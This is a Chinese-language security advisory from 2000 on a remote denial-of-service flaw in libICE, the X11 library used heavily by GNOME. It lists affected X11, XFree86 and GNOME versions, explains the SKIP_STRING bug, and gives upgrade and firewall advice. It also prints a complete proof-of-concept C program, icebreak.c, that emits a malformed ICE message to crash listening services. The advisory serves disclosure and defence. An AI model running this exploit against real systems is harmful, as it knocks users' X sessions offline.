首页 -> 安全研究

安全研究

安全漏洞
libICE 库拒绝服务攻击漏洞

发布日期:2000-06-22
更新日期:2000-06-22

受影响系统:

GNOME Gnome 1.1
GNOME GNOME 1.0.x
Open Group X 11.0R6.x
Open Group X 11.0R6
Open Group X 11.0R5
XFree86 X11R6 4.0
XFree86 X11R6 3.3.6
   - RedHat Linux 6.2 i386
XFree86 X11R6 3.3.5
   - RedHat Linux 6.1 i386
XFree86 X11R6 3.3.4
XFree86 X11R6 3.3.3

不受影响系统:

GNOME Gnome 1.2

描述:

libICE是X11 window系统的一部分。由于在处理SKIP_STRING宏的时候存在一些问题,导致
任何使用libICE创建监听socket的应用程序都可以被远程攻击,使之停止服务。攻击者可以
给skip提供一个很大的值,使指针指向某些未初始化的内存区域,从而发生段访问错误。

GNOME中大量的使用了libICE,因此攻击者可能对正在运行GNOME的用户的X会话发动攻击。


<* 来源:Chris Evans <chris@ferret.lmh.ox.ac.uk> *>









测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


/* icebreak.c - Chris Evans */
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int
main(int argc, const char* argv[])
{
  unsigned char c;
  unsigned int i;
  unsigned short s;
  char blankbuf[1000];

  memset(blankbuf, '\0', sizeof(blankbuf));

  /* Assume fd 1 is stdout */

  /* ICE connection header */
  /* First, pick an endian-ness */
  /* Byte 1: Major opcode. Must be 0 */
  c = 0;
  write(1, &c, 1);
  /* Byte 2: Minor opcode. Must be ICE_ByteOrder (1) */
  c = 1;
  write(1, &c, 1);
  /* Byte 3: Byte-order. We'll go for IceLSBfirst (0) */
  c = 0;
  write(1, &c, 1);
  /* Byte 4: Unused. Write 0 */
  c = 0;
  write(1, &c, 1);
  /* Bytes 5-8: integer length. Must be zero for byte-order message. */
  i = 0;
  write(1, &i, 4);

  /* Next message - ICE_ConnectionSetup */
  /* Byte 1: Major opcode. 0 for core ICE protocol message */
  c = 0;
  write(1, &c, 1);
  /* Byte 2: Minor opcode. ICE_ConnectionSetup (2) */
  c = 2;
  write(1, &c, 1);
  /* Bytes 3, 4: versionCount & authCount */
  c = 255;
  write(1, &c, 1);
  write(1, &c, 1);
  /* Bytes 5-8, int length. Must be at least 8 */
  i = 8;
  write(1, &i, 4);
  /* Now, bytes are part of iceConnectionSetupMsg */
  /* This is an extra 8 bytes */
  /* Byte 1: "must authenticate" */
  c = 0;
  write(1, &c, 1);
  /* Bytes 2-8: unused */
  write(1, blankbuf, 7);

  /* Now we're writing into the malloc'ed message data space */
  /* First, a string. Give it's 16bit length a big value to get ICE code
   * to iterate off the end of the buffer
   */
  s = 65535;
  write(1, &s, 2);

  /* And some blank to get the (total) 56 char data read finished */
  write(1, blankbuf, 54);
}




建议:

更新到GNOME 1.2版。
同时使用ipchains,ipfilter或其他的防火墙软件过滤对某些X端口的远程访问


浏览次数:6756
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障